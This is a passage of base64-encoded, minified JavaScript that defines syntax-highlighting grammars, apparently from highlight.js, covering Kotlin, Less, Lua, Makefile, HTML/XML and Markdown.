3t9W1xdLDpdLyxjbGFzc05hbWU6InB1bmN0dWF0aW9uIixyZWxldmFuY2U6MAp9LGUuUVVPVEVfU1RSSU5HX01PREUsdCxlLkNfTlVNQkVSX01PREUsZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGUuQ19CTE9DS19DT01NRU5UX01PREVdLAppbGxlZ2FsOiJcXFMifX0sZ3Jtcl9rb3RsaW46ZT0+e2NvbnN0IG49ewprZXl3b3JkOiJhYnN0cmFjdCBhcyB2YWwgdmFyIHZhcmFyZyBnZXQgc2V0IGNsYXNzIG9iamVjdCBvcGVuIHByaXZhdGUgcHJvdGVjdGVkIHB1YmxpYyBub2lubGluZSBjcm9zc2lubGluZSBkeW5hbWljIGZpbmFsIGVudW0gaWYgZWxzZSBkbyB3aGlsZSBmb3Igd2hlbiB0aHJvdyB0cnkgY2F0Y2ggZmluYWxseSBpbXBvcnQgcGFja2FnZSBpcyBpbiBmdW4gb3ZlcnJpZGUgY29tcGFuaW9uIHJlaWZpZWQgaW5saW5lIGxhdGVpbml0IGluaXQgaW50ZXJmYWNlIGFubm90YXRpb24gZGF0YSBzZWFsZWQgaW50ZXJuYWwgaW5maXggb3BlcmF0b3Igb3V0IGJ5IGNvbnN0cnVjdG9yIHN1cGVyIHRhaWxyZWMgd2hlcmUgY29uc3QgaW5uZXIgc3VzcGVuZCB0eXBlYWxpYXMgZXh0ZXJuYWwgZXhwZWN0IGFjdHVhbCIsCmJ1aWx0X2luOiJCeXRlIFNob3J0IENoYXIgSW50IExvbmcgQm9vbGVhbiBGbG9hdCBEb3VibGUgVm9pZCBVbml0IE5vdGhpbmciLApsaXRlcmFsOiJ0cnVlIGZhbHNlIG51bGwifSx0PXtjbGFzc05hbWU6InN5bWJvbCIsYmVnaW46ZS5VTkRFUlNDT1JFX0lERU5UX1JFKyJAIgp9LGE9e2NsYXNzTmFtZToic3Vic3QiLGJlZ2luOi9cJFx7LyxlbmQ6L1x9Lyxjb250YWluczpbZS5DX05VTUJFUl9NT0RFXX0saT17CmNsYXNzTmFtZToidmFyaWFibGUiLGJlZ2luOiJcXCQiK2UuVU5ERVJTQ09SRV9JREVOVF9SRX0scj17Y2xhc3NOYW1lOiJzdHJpbmciLAp2YXJpYW50czpbe2JlZ2luOiciIiInLGVuZDonIiIiKD89W14iXSknLGNvbnRhaW5zOltpLGFdfSx7YmVnaW46IiciLGVuZDoiJyIsCmlsbGVnYWw6L1xuLyxjb250YWluczpbZS5CQUNLU0xBU0hfRVNDQVBFXX0se2JlZ2luOiciJyxlbmQ6JyInLGlsbGVnYWw6L1xuLywKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxpLGFdfV19O2EuY29udGFpbnMucHVzaChyKTtjb25zdCBzPXsKY2xhc3NOYW1lOiJtZXRhIiwKYmVnaW46IkAoPzpmaWxlfHByb3BlcnR5fGZpZWxkfGdldHxzZXR8cmVjZWl2ZXJ8cGFyYW18c2V0cGFyYW18ZGVsZWdhdGUpXFxzKjooPzpcXHMqIitlLlVOREVSU0NPUkVfSURFTlRfUkUrIik/Igp9LG89e2NsYXNzTmFtZToibWV0YSIsYmVnaW46IkAiK2UuVU5ERVJTQ09SRV9JREVOVF9SRSxjb250YWluczpbe2JlZ2luOi9cKC8sCmVuZDovXCkvLGNvbnRhaW5zOltlLmluaGVyaXQocix7Y2xhc3NOYW1lOiJzdHJpbmcifSksInNlbGYiXX1dCn0sbD1nZSxjPWUuQ09NTUVOVCgiL1xcKiIsIlxcKi8iLHtjb250YWluczpbZS5DX0JMT0NLX0NPTU1FTlRfTU9ERV19KSxkPXsKdmFyaWFudHM6W3tjbGFzc05hbWU6InR5cGUiLGJlZ2luOmUuVU5ERVJTQ09SRV9JREVOVF9SRX0se2JlZ2luOi9cKC8sZW5kOi9cKS8sCmNvbnRhaW5zOltdfV19LGc9ZDtyZXR1cm4gZy52YXJpYW50c1sxXS5jb250YWlucz1bZF0sZC52YXJpYW50c1sxXS5jb250YWlucz1bZ10sCntuYW1lOiJLb3RsaW4iLGFsaWFzZXM6WyJrdCIsImt0cyJdLGtleXdvcmRzOm4sCmNvbnRhaW5zOltlLkNPTU1FTlQoIi9cXCpcXCoiLCJcXCovIix7cmVsZXZhbmNlOjAsY29udGFpbnM6W3tjbGFzc05hbWU6ImRvY3RhZyIsCmJlZ2luOiJAW0EtWmEtel0rIn1dfSksZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGMse2NsYXNzTmFtZToia2V5d29yZCIsCmJlZ2luOi9cYihicmVha3xjb250aW51ZXxyZXR1cm58dGhpcylcYi8sc3RhcnRzOntjb250YWluczpbe2NsYXNzTmFtZToic3ltYm9sIiwKYmVnaW46L0BcdysvfV19fSx0LHMsbyx7Y2xhc3NOYW1lOiJmdW5jdGlvbiIsYmVnaW5LZXl3b3JkczoiZnVuIixlbmQ6IlsoXXwkIiwKcmV0dXJuQmVnaW46ITAsZXhjbHVkZUVuZDohMCxrZXl3b3JkczpuLHJlbGV2YW5jZTo1LGNvbnRhaW5zOlt7CmJlZ2luOmUuVU5ERVJTQ09SRV9JREVOVF9SRSsiXFxzKlxcKCIscmV0dXJuQmVnaW46ITAscmVsZXZhbmNlOjAsCmNvbnRhaW5zOltlLlVOREVSU0NPUkVfVElUTEVfTU9ERV19LHtjbGFzc05hbWU6InR5cGUiLGJlZ2luOi88LyxlbmQ6Lz4vLAprZXl3b3JkczoicmVpZmllZCIscmVsZXZhbmNlOjB9LHtjbGFzc05hbWU6InBhcmFtcyIsYmVnaW46L1woLyxlbmQ6L1wpLywKZW5kc1BhcmVudDohMCxrZXl3b3JkczpuLHJlbGV2YW5jZTowLGNvbnRhaW5zOlt7YmVnaW46LzovLGVuZDovWz0sXC9dLywKZW5kc1dpdGhQYXJlbnQ6ITAsY29udGFpbnM6W2QsZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGNdLHJlbGV2YW5jZTowCn0sZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGMscyxvLHIsZS5DX05VTUJFUl9NT0RFXX0sY119LHsKYmVnaW46Wy9jbGFzc3xpbnRlcmZhY2V8dHJhaXQvLC9ccysvLGUuVU5ERVJTQ09SRV9JREVOVF9SRV0sYmVnaW5TY29wZTp7CjM6InRpdGxlLmNsYXNzIn0sa2V5d29yZHM6ImNsYXNzIGludGVyZmFjZSB0cmFpdCIsZW5kOi9bOlx7KF18JC8sZXhjbHVkZUVuZDohMCwKaWxsZWdhbDoiZXh0ZW5kcyBpbXBsZW1lbnRzIixjb250YWluczpbewpiZWdpbktleXdvcmRzOiJwdWJsaWMgcHJvdGVjdGVkIGludGVybmFsIHByaXZhdGUgY29uc3RydWN0b3IiCn0sZS5VTkRFUlNDT1JFX1RJVExFX01PREUse2NsYXNzTmFtZToidHlwZSIsYmVnaW46LzwvLGVuZDovPi8sZXhjbHVkZUJlZ2luOiEwLApleGNsdWRlRW5kOiEwLHJlbGV2YW5jZTowfSx7Y2xhc3NOYW1lOiJ0eXBlIixiZWdpbjovWyw6XVxzKi8sZW5kOi9bPFwoLCl7XHNdfCQvLApleGNsdWRlQmVnaW46ITAscmV0dXJuRW5kOiEwfSxzLG9dfSxyLHtjbGFzc05hbWU6Im1ldGEiLGJlZ2luOiJeIyEvdXNyL2Jpbi9lbnYiLAplbmQ6IiQiLGlsbGVnYWw6IlxuIn0sbF19fSxncm1yX2xlc3M6ZT0+ewpjb25zdCBuPXRlKGUpLHQ9bGUsYT0iKFtcXHctXSt8QFxce1tcXHctXStcXH0pIixpPVtdLHI9W10scz1lPT4oewpjbGFzc05hbWU6InN0cmluZyIsYmVnaW46In4/IitlKyIuKj8iK2V9KSxvPShlLG4sdCk9Pih7Y2xhc3NOYW1lOmUsYmVnaW46biwKcmVsZXZhbmNlOnR9KSxsPXskcGF0dGVybjovW2Etei1dKy8sa2V5d29yZDoiYW5kIG9yIG5vdCBvbmx5IiwKYXR0cmlidXRlOmllLmpvaW4oIiAiKX0sYz17YmVnaW46IlxcKCIsZW5kOiJcXCkiLGNvbnRhaW5zOnIsa2V5d29yZHM6bCwKcmVsZXZhbmNlOjB9CjtyLnB1c2goZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGUuQ19CTE9DS19DT01NRU5UX01PREUscygiJyIpLHMoJyInKSxuLkNTU19OVU1CRVJfTU9ERSx7CmJlZ2luOiIodXJsfGRhdGEtdXJpKVxcKCIsc3RhcnRzOntjbGFzc05hbWU6InN0cmluZyIsZW5kOiJbXFwpXFxuXSIsCmV4Y2x1ZGVFbmQ6ITB9Cn0sbi5IRVhDT0xPUixjLG8oInZhcmlhYmxlIiwiQEA/W1xcdy1dKyIsMTApLG8oInZhcmlhYmxlIiwiQFxce1tcXHctXStcXH0iKSxvKCJidWlsdF9pbiIsIn4/YFteYF0qP2AiKSx7CmNsYXNzTmFtZToiYXR0cmlidXRlIixiZWdpbjoiW1xcdy1dK1xccyo6IixlbmQ6IjoiLHJldHVybkJlZ2luOiEwLGV4Y2x1ZGVFbmQ6ITAKfSxuLklNUE9SVEFOVCx7YmVnaW5LZXl3b3JkczoiYW5kIG5vdCJ9LG4uRlVOQ1RJT05fRElTUEFUQ0gpO2NvbnN0IGQ9ci5jb25jYXQoewpiZWdpbjovXHsvLGVuZDovXH0vLGNvbnRhaW5zOml9KSxnPXtiZWdpbktleXdvcmRzOiJ3aGVuIixlbmRzV2l0aFBhcmVudDohMCwKY29udGFpbnM6W3tiZWdpbktleXdvcmRzOiJhbmQgbm90In1dLmNvbmNhdChyKX0sdT17YmVnaW46YSsiXFxzKjoiLApyZXR1cm5CZWdpbjohMCxlbmQ6L1s7fV0vLHJlbGV2YW5jZTowLGNvbnRhaW5zOlt7YmVnaW46Ly0od2Via2l0fG1venxtc3xvKS0vCn0sbi5DU1NfVkFSSUFCTEUse2NsYXNzTmFtZToiYXR0cmlidXRlIixiZWdpbjoiXFxiKCIrb2Uuam9pbigifCIpKyIpXFxiIiwKZW5kOi8oPz06KS8sc3RhcnRzOntlbmRzV2l0aFBhcmVudDohMCxpbGxlZ2FsOiJbPD0kXSIscmVsZXZhbmNlOjAsY29udGFpbnM6cn19XQp9LGI9e2NsYXNzTmFtZToia2V5d29yZCIsCmJlZ2luOiJAKGltcG9ydHxtZWRpYXxjaGFyc2V0fGZvbnQtZmFjZXwoLVthLXpdKy0pP2tleWZyYW1lc3xzdXBwb3J0c3xkb2N1bWVudHxuYW1lc3BhY2V8cGFnZXx2aWV3cG9ydHxob3N0KVxcYiIsCnN0YXJ0czp7ZW5kOiJbO3t9XSIsa2V5d29yZHM6bCxyZXR1cm5FbmQ6ITAsY29udGFpbnM6cixyZWxldmFuY2U6MH19LG09ewpjbGFzc05hbWU6InZhcmlhYmxlIix2YXJpYW50czpbe2JlZ2luOiJAW1xcdy1dK1xccyo6IixyZWxldmFuY2U6MTV9LHsKYmVnaW46IkBbXFx3LV0rIn1dLHN0YXJ0czp7ZW5kOiJbO31dIixyZXR1cm5FbmQ6ITAsY29udGFpbnM6ZH19LHA9e3ZhcmlhbnRzOlt7CmJlZ2luOiJbXFwuIzomXFxbPl0iLGVuZDoiWzt7fV0ifSx7YmVnaW46YSxlbmQ6L1x7L31dLHJldHVybkJlZ2luOiEwLApyZXR1cm5FbmQ6ITAsaWxsZWdhbDoiWzw9JyRcIl0iLHJlbGV2YW5jZTowLApjb250YWluczpbZS5DX0xJTkVfQ09NTUVOVF9NT0RFLGUuQ19CTE9DS19DT01NRU5UX01PREUsZyxvKCJrZXl3b3JkIiwiYWxsXFxiIiksbygidmFyaWFibGUiLCJAXFx7W1xcdy1dK1xcfSIpLHsKYmVnaW46IlxcYigiK2FlLmpvaW4oInwiKSsiKVxcYiIsY2xhc3NOYW1lOiJzZWxlY3Rvci10YWciCn0sbi5DU1NfTlVNQkVSX01PREUsbygic2VsZWN0b3ItdGFnIixhLDApLG8oInNlbGVjdG9yLWlkIiwiIyIrYSksbygic2VsZWN0b3ItY2xhc3MiLCJcXC4iK2EsMCksbygic2VsZWN0b3ItdGFnIiwiJiIsMCksbi5BVFRSSUJVVEVfU0VMRUNUT1JfTU9ERSx7CmNsYXNzTmFtZToic2VsZWN0b3ItcHNldWRvIixiZWdpbjoiOigiK3JlLmpvaW4oInwiKSsiKSJ9LHsKY2xhc3NOYW1lOiJzZWxlY3Rvci1wc2V1ZG8iLGJlZ2luOiI6KDopPygiK3NlLmpvaW4oInwiKSsiKSJ9LHtiZWdpbjovXCgvLAplbmQ6L1wpLyxyZWxldmFuY2U6MCxjb250YWluczpkfSx7YmVnaW46IiFpbXBvcnRhbnQifSxuLkZVTkNUSU9OX0RJU1BBVENIXX0sXz17CmJlZ2luOmBbXFx3LV0rOig6KT8oJHt0LmpvaW4oInwiKX0pYCxyZXR1cm5CZWdpbjohMCxjb250YWluczpbcF19CjtyZXR1cm4gaS5wdXNoKGUuQ19MSU5FX0NPTU1FTlRfTU9ERSxlLkNfQkxPQ0tfQ09NTUVOVF9NT0RFLGIsbSxfLHUscCxnLG4uRlVOQ1RJT05fRElTUEFUQ0gpLAp7bmFtZToiTGVzcyIsY2FzZV9pbnNlbnNpdGl2ZTohMCxpbGxlZ2FsOiJbPT4nLzwoJFwiXSIsY29udGFpbnM6aX19LApncm1yX2x1YTplPT57Y29uc3Qgbj0iXFxbPSpcXFsiLHQ9IlxcXT0qXFxdIixhPXtiZWdpbjpuLGVuZDp0LGNvbnRhaW5zOlsic2VsZiJdCn0saT1bZS5DT01NRU5UKCItLSg/IVxcWz0qXFxbKSIsIiQiKSxlLkNPTU1FTlQoIi0tXFxbPSpcXFsiLHQse2NvbnRhaW5zOlthXSwKcmVsZXZhbmNlOjEwfSldO3JldHVybntuYW1lOiJMdWEiLGtleXdvcmRzOnskcGF0dGVybjplLlVOREVSU0NPUkVfSURFTlRfUkUsCmxpdGVyYWw6InRydWUgZmFsc2UgbmlsIiwKa2V5d29yZDoiYW5kIGJyZWFrIGRvIGVsc2UgZWxzZWlmIGVuZCBmb3IgZ290byBpZiBpbiBsb2NhbCBub3Qgb3IgcmVwZWF0IHJldHVybiB0aGVuIHVudGlsIHdoaWxlIiwKYnVpbHRfaW46Il9HIF9FTlYgX1ZFUlNJT04gX19pbmRleCBfX25ld2luZGV4IF9fbW9kZSBfX2NhbGwgX19tZXRhdGFibGUgX190b3N0cmluZyBfX2xlbiBfX2djIF9fYWRkIF9fc3ViIF9fbXVsIF9fZGl2IF9fbW9kIF9fcG93IF9fY29uY2F0IF9fdW5tIF9fZXEgX19sdCBfX2xlIGFzc2VydCBjb2xsZWN0Z2FyYmFnZSBkb2ZpbGUgZXJyb3IgZ2V0ZmVudiBnZXRtZXRhdGFibGUgaXBhaXJzIGxvYWQgbG9hZGZpbGUgbG9hZHN0cmluZyBtb2R1bGUgbmV4dCBwYWlycyBwY2FsbCBwcmludCByYXdlcXVhbCByYXdnZXQgcmF3c2V0IHJlcXVpcmUgc2VsZWN0IHNldGZlbnYgc2V0bWV0YXRhYmxlIHRvbnVtYmVyIHRvc3RyaW5nIHR5cGUgdW5wYWNrIHhwY2FsbCBhcmcgc2VsZiBjb3JvdXRpbmUgcmVzdW1lIHlpZWxkIHN0YXR1cyB3cmFwIGNyZWF0ZSBydW5uaW5nIGRlYnVnIGdldHVwdmFsdWUgZGVidWcgc2V0aG9vayBnZXRtZXRhdGFibGUgZ2V0aG9vayBzZXRtZXRhdGFibGUgc2V0bG9jYWwgdHJhY2ViYWNrIHNldGZlbnYgZ2V0aW5mbyBzZXR1cHZhbHVlIGdldGxvY2FsIGdldHJlZ2lzdHJ5IGdldGZlbnYgaW8gbGluZXMgd3JpdGUgY2xvc2UgZmx1c2ggb3BlbiBvdXRwdXQgdHlwZSByZWFkIHN0ZGVyciBzdGRpbiBpbnB1dCBzdGRvdXQgcG9wZW4gdG1wZmlsZSBtYXRoIGxvZyBtYXggYWNvcyBodWdlIGxkZXhwIHBpIGNvcyB0YW5oIHBvdyBkZWcgdGFuIGNvc2ggc2luaCByYW5kb20gcmFuZG9tc2VlZCBmcmV4cCBjZWlsIGZsb29yIHJhZCBhYnMgc3FydCBtb2RmIGFzaW4gbWluIG1vZCBmbW9kIGxvZzEwIGF0YW4yIGV4cCBzaW4gYXRhbiBvcyBleGl0IHNldGxvY2FsZSBkYXRlIGdldGVudiBkaWZmdGltZSByZW1vdmUgdGltZSBjbG9jayB0bXBuYW1lIHJlbmFtZSBleGVjdXRlIHBhY2thZ2UgcHJlbG9hZCBsb2FkbGliIGxvYWRlZCBsb2FkZXJzIGNwYXRoIGNvbmZpZyBwYXRoIHNlZWFsbCBzdHJpbmcgc3ViIHVwcGVyIGxlbiBnZmluZCByZXAgZmluZCBtYXRjaCBjaGFyIGR1bXAgZ21hdGNoIHJldmVyc2UgYnl0ZSBmb3JtYXQgZ3N1YiBsb3dlciB0YWJsZSBzZXRuIGluc2VydCBnZXRuIGZvcmVhY2hpIG1heG4gZm9yZWFjaCBjb25jYXQgc29ydCByZW1vdmUiCn0sY29udGFpbnM6aS5jb25jYXQoW3tjbGFzc05hbWU6ImZ1bmN0aW9uIixiZWdpbktleXdvcmRzOiJmdW5jdGlvbiIsZW5kOiJcXCkiLApjb250YWluczpbZS5pbmhlcml0KGUuVElUTEVfTU9ERSx7CmJlZ2luOiIoW19hLXpBLVpdXFx3KlxcLikqKFtfYS16QS1aXVxcdyo6KT9bX2EtekEtWl1cXHcqIn0pLHtjbGFzc05hbWU6InBhcmFtcyIsCmJlZ2luOiJcXCgiLGVuZHNXaXRoUGFyZW50OiEwLGNvbnRhaW5zOml9XS5jb25jYXQoaSkKfSxlLkNfTlVNQkVSX01PREUsZS5BUE9TX1NUUklOR19NT0RFLGUuUVVPVEVfU1RSSU5HX01PREUse2NsYXNzTmFtZToic3RyaW5nIiwKYmVnaW46bixlbmQ6dCxjb250YWluczpbYV0scmVsZXZhbmNlOjV9XSl9fSxncm1yX21ha2VmaWxlOmU9Pntjb25zdCBuPXsKY2xhc3NOYW1lOiJ2YXJpYWJsZSIsdmFyaWFudHM6W3tiZWdpbjoiXFwkXFwoIitlLlVOREVSU0NPUkVfSURFTlRfUkUrIlxcKSIsCmNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEVdfSx7YmVnaW46L1wkW0AlPD9cXlwrXCpdL31dfSx0PXtjbGFzc05hbWU6InN0cmluZyIsCmJlZ2luOi8iLyxlbmQ6LyIvLGNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEUsbl19LGE9e2NsYXNzTmFtZToidmFyaWFibGUiLApiZWdpbjovXCRcKFtcdy1dK1xzLyxlbmQ6L1wpLyxrZXl3b3Jkczp7CmJ1aWx0X2luOiJzdWJzdCBwYXRzdWJzdCBzdHJpcCBmaW5kc3RyaW5nIGZpbHRlciBmaWx0ZXItb3V0IHNvcnQgd29yZCB3b3JkbGlzdCBmaXJzdHdvcmQgbGFzdHdvcmQgZGlyIG5vdGRpciBzdWZmaXggYmFzZW5hbWUgYWRkc3VmZml4IGFkZHByZWZpeCBqb2luIHdpbGRjYXJkIHJlYWxwYXRoIGFic3BhdGggZXJyb3Igd2FybmluZyBzaGVsbCBvcmlnaW4gZmxhdm9yIGZvcmVhY2ggaWYgb3IgYW5kIGNhbGwgZXZhbCBmaWxlIHZhbHVlIgp9LGNvbnRhaW5zOltuXX0saT17YmVnaW46Il4iK2UuVU5ERVJTQ09SRV9JREVOVF9SRSsiXFxzKig/PVs6Kz9dPz0pIn0scj17CmNsYXNzTmFtZToic2VjdGlvbiIsYmVnaW46L15bXlxzXSs6LyxlbmQ6LyQvLGNvbnRhaW5zOltuXX07cmV0dXJuewpuYW1lOiJNYWtlZmlsZSIsYWxpYXNlczpbIm1rIiwibWFrIiwibWFrZSJdLGtleXdvcmRzOnskcGF0dGVybjovW1x3LV0rLywKa2V5d29yZDoiZGVmaW5lIGVuZGVmIHVuZGVmaW5lIGlmZGVmIGlmbmRlZiBpZmVxIGlmbmVxIGVsc2UgZW5kaWYgaW5jbHVkZSAtaW5jbHVkZSBzaW5jbHVkZSBvdmVycmlkZSBleHBvcnQgdW5leHBvcnQgcHJpdmF0ZSB2cGF0aCIKfSxjb250YWluczpbZS5IQVNIX0NPTU1FTlRfTU9ERSxuLHQsYSxpLHtjbGFzc05hbWU6Im1ldGEiLGJlZ2luOi9eXC5QSE9OWTovLAplbmQ6LyQvLGtleXdvcmRzOnskcGF0dGVybjovW1wuXHddKy8sa2V5d29yZDoiLlBIT05ZIn19LHJdfX0sZ3Jtcl94bWw6ZT0+ewpjb25zdCBuPWUucmVnZXgsdD1uLmNvbmNhdCgvW1xwe0x9X10vdSxuLm9wdGlvbmFsKC9bXHB7TH0wLTlfLi1dKjovdSksL1tccHtMfTAtOV8uLV0qL3UpLGE9ewpjbGFzc05hbWU6InN5bWJvbCIsYmVnaW46LyZbYS16XSs7fCYjWzAtOV0rO3wmI3hbYS1mMC05XSs7L30saT17YmVnaW46L1xzLywKY29udGFpbnM6W3tjbGFzc05hbWU6ImtleXdvcmQiLGJlZ2luOi8jP1thLXpfXVthLXoxLTlfLV0rLyxpbGxlZ2FsOi9cbi99XQp9LHI9ZS5pbmhlcml0KGkse2JlZ2luOi9cKC8sZW5kOi9cKS99KSxzPWUuaW5oZXJpdChlLkFQT1NfU1RSSU5HX01PREUsewpjbGFzc05hbWU6InN0cmluZyJ9KSxvPWUuaW5oZXJpdChlLlFVT1RFX1NUUklOR19NT0RFLHtjbGFzc05hbWU6InN0cmluZyJ9KSxsPXsKZW5kc1dpdGhQYXJlbnQ6ITAsaWxsZWdhbDovPC8scmVsZXZhbmNlOjAsY29udGFpbnM6W3tjbGFzc05hbWU6ImF0dHIiLApiZWdpbjovW1xwe0x9MC05Ll86LV0rL3UscmVsZXZhbmNlOjB9LHtiZWdpbjovPVxzKi8scmVsZXZhbmNlOjAsY29udGFpbnM6W3sKY2xhc3NOYW1lOiJzdHJpbmciLGVuZHNQYXJlbnQ6ITAsdmFyaWFudHM6W3tiZWdpbjovIi8sZW5kOi8iLyxjb250YWluczpbYV19LHsKYmVnaW46LycvLGVuZDovJy8sY29udGFpbnM6W2FdfSx7YmVnaW46L1teXHMiJz08PmBdKy99XX1dfV19O3JldHVybnsKbmFtZToiSFRNTCwgWE1MIiwKYWxpYXNlczpbImh0bWwiLCJ4aHRtbCIsInJzcyIsImF0b20iLCJ4amIiLCJ4c2QiLCJ4c2wiLCJwbGlzdCIsIndzZiIsInN2ZyJdLApjYXNlX2luc2Vuc2l0aXZlOiEwLHVuaWNvZGVSZWdleDohMCxjb250YWluczpbe2NsYXNzTmFtZToibWV0YSIsYmVnaW46LzwhW2Etel0vLAplbmQ6Lz4vLHJlbGV2YW5jZToxMCxjb250YWluczpbaSxvLHMscix7YmVnaW46L1xbLyxlbmQ6L1xdLyxjb250YWluczpbewpjbGFzc05hbWU6Im1ldGEiLGJlZ2luOi88IVthLXpdLyxlbmQ6Lz4vLGNvbnRhaW5zOltpLHIsbyxzXX1dfV0KfSxlLkNPTU1FTlQoLzwhLS0vLC8tLT4vLHtyZWxldmFuY2U6MTB9KSx7YmVnaW46LzwhXFtDREFUQVxbLyxlbmQ6L1xdXF0+LywKcmVsZXZhbmNlOjEwfSxhLHtjbGFzc05hbWU6Im1ldGEiLGVuZDovXD8+Lyx2YXJpYW50czpbe2JlZ2luOi88XD94bWwvLApyZWxldmFuY2U6MTAsY29udGFpbnM6W29dfSx7YmVnaW46LzxcP1thLXpdW2EtejAtOV0rL31dfSx7Y2xhc3NOYW1lOiJ0YWciLApiZWdpbjovPHN0eWxlKD89XHN8PikvLGVuZDovPi8sa2V5d29yZHM6e25hbWU6InN0eWxlIn0sY29udGFpbnM6W2xdLHN0YXJ0czp7CmVuZDovPFwvc3R5bGU+LyxyZXR1cm5FbmQ6ITAsc3ViTGFuZ3VhZ2U6WyJjc3MiLCJ4bWwiXX19LHtjbGFzc05hbWU6InRhZyIsCmJlZ2luOi88c2NyaXB0KD89XHN8PikvLGVuZDovPi8sa2V5d29yZHM6e25hbWU6InNjcmlwdCJ9LGNvbnRhaW5zOltsXSxzdGFydHM6ewplbmQ6LzxcL3NjcmlwdD4vLHJldHVybkVuZDohMCxzdWJMYW5ndWFnZTpbImphdmFzY3JpcHQiLCJoYW5kbGViYXJzIiwieG1sIl19fSx7CmNsYXNzTmFtZToidGFnIixiZWdpbjovPD58PFwvPi99LHtjbGFzc05hbWU6InRhZyIsCmJlZ2luOm4uY29uY2F0KC88LyxuLmxvb2thaGVhZChuLmNvbmNhdCh0LG4uZWl0aGVyKC9cLz4vLC8+LywvXHMvKSkpKSwKZW5kOi9cLz8+Lyxjb250YWluczpbe2NsYXNzTmFtZToibmFtZSIsYmVnaW46dCxyZWxldmFuY2U6MCxzdGFydHM6bH1dfSx7CmNsYXNzTmFtZToidGFnIixiZWdpbjpuLmNvbmNhdCgvPFwvLyxuLmxvb2thaGVhZChuLmNvbmNhdCh0LC8+LykpKSxjb250YWluczpbewpjbGFzc05hbWU6Im5hbWUiLGJlZ2luOnQscmVsZXZhbmNlOjB9LHtiZWdpbjovPi8scmVsZXZhbmNlOjAsZW5kc1BhcmVudDohMH1dfV19Cn0sZ3Jtcl9tYXJrZG93bjplPT57Y29uc3Qgbj17YmVnaW46LzxcLz9bQS1aYS16X10vLGVuZDoiPiIsc3ViTGFuZ3VhZ2U6InhtbCIsCnJlbGV2YW5jZTowfSx0PXt2YXJpYW50czpbe2JlZ2luOi9cWy4rP1xdXFsuKj9cXS8scmVsZXZhbmNlOjB9LHsKYmVnaW46L1xbLis/XF1cKCgoZGF0YXxqYXZhc2NyaXB0fG1haWx0byk6fCg/Omh0dHB8ZnRwKXM/OlwvXC8pLio/XCkvLApyZWxldmFuY2U6Mn0sewpiZWdpbjplLnJlZ2V4LmNvbmNhdCgvXFsuKz9cXVwoLywvW0EtWmEtel1bQS1aYS16MC05Ky4tXSovLC86XC9cLy4qP1wpLyksCnJlbGV2YW5jZToyfSx7YmVnaW46L1xbLis/XF1cKFsuLz8mI10uKj9cKS8scmVsZXZhbmNlOjF9LHsKYmVnaW46L1xbLio/XF1cKC4qP1wpLyxyZWxldmFuY2U6MH1dLHJldHVybkJlZ2luOiEwLGNvbnRhaW5zOlt7bWF0Y2g6L1xbKD89XF0pLwp9LHtjbGFzc05hbWU6InN0cmluZyIscmVsZXZhbmNlOjAsYmVnaW46IlxcWyIsZW5kOiJcXF0iLGV4Y2x1ZGVCZWdpbjohMCwKcmV0dXJuRW5kOiEwfSx7Y2xhc3NOYW1lOiJsaW5rIixyZWxldmFuY2U6MCxiZWdpbjoiXFxdXFwoIixlbmQ6IlxcKSIsCmV4Y2x1ZGVCZWdpbjohMCxleGNsdWRlRW5kOiEwfSx7Y2xhc3NOYW1lOiJzeW1ib2wiLHJlbGV2YW5jZTowLGJlZ2luOiJcXF1cXFsiLAplbmQ6IlxcXSIsZXhjbHVkZUJlZ2luOiEwLGV4Y2x1ZGVFbmQ6ITB9XX0sYT17Y2xhc3NOYW1lOiJzdHJvbmciLGNvbnRhaW5zOltdLAp2YXJpYW50czpbe2JlZ2luOi9fezJ9LyxlbmQ6L197Mn0vfSx7YmVnaW46L1wqezJ9LyxlbmQ6L1wqezJ9L31dfSxpPXsKY2xhc3NOYW1lOiJlbXBoYXNpcyIsY29udGFpbnM6W10sdmFyaWFudHM6W3tiZWdpbjovXCooPyFcKikvLGVuZDovXCovfSx7CmJlZ2luOi9fKD8hXykvLGVuZDovXy8scmVsZXZhbmNlOjB9XX0scj1lLmluaGVyaXQoYSx7Y29udGFpbnM6W10KfSkscz1lLmluaGVyaXQoaSx7Y29udGFpbnM6W119KTthLmNvbnRhaW5zLnB1c2gocyksaS5jb250YWlucy5wdXNoKHIpCjtsZXQgbz1bbix0XTtyZXR1cm5bYSxpLHIsc10uZm9yRWFjaCgoZT0+e2UuY29udGFpbnM9ZS5jb250YWlucy5jb25jYXQobykKfSkpLG89by5jb25jYXQoYSxpKSx7bmFtZToiTWFya2Rvd24iLGFsaWFzZXM6WyJtZCIsIm1rZG93biIsIm1rZCJdLGNvbnRhaW5zOlt7CmNsYXNzTmFtZToic2VjdGlvbiIsdmFyaWFudHM6W3tiZWdpbjoiXiN7MSw2fSIsZW5kOiIkIixjb250YWluczpvfSx7CmJlZ2luOiIoPz1eLis/XFxuWz0tXXsyLH0kKSIsY29udGFpbnM6W3tiZWdpbjoiXls9LV0qJCJ9LHtiZWdpbjoiXiIsZW5kOiJcXG4iLApjb250YWluczpvfV19XX0sbix7Y2xhc3NOYW1lOiJidWxsZXQiLGJlZ2luOiJeWyBcdF0qKFsqKy1dfChcXGQrXFwuKSkoPz1cXHMrKSIsCmVuZDoiXFxzKyIsZXhjbHVkZUVuZDohMH0sYSxpLHtjbGFzc05hbWU6InF1b3RlIixiZWdpbjoiXj5cXHMrIixjb250YWluczpvLAplbmQ6IiQifSx7Y2xhc3NOYW1lOiJjb2RlIix2YXJpYW50czpbe2JlZ2luOiIoYHszLH0pW15gXSgufFxcbikqP1xcMWAqWyBdKiJ9LHsKYmVnaW46Iih+ezMsfSlbXn5dKC58XFxuKSo/XFwxfipbIF0qIn0se2JlZ2luOiJgYGAiLGVuZDoiYGBgK1sgXSokIn0sewpiZWdpbjoifn5+IixlbmQ6In5+fitbIF0qJCJ9LHtiZWdpbjoiYC4rP2AifSx7YmVnaW46Iig/PV4oIHs0fXxcXHQpKSIsCmNvbnRhaW5zOlt7YmVnaW46Il4oIHs0fXxcXHQpIixlbmQ6IihcXG4pJCJ9XSxyZWxldmFuY2U6MH1dfSx7CmJlZ2luOiJeWy1cXCpdezMsfSIsZW5kOiIkIn0sdCx7YmVnaW46L15cW1teXG5dK1xdOi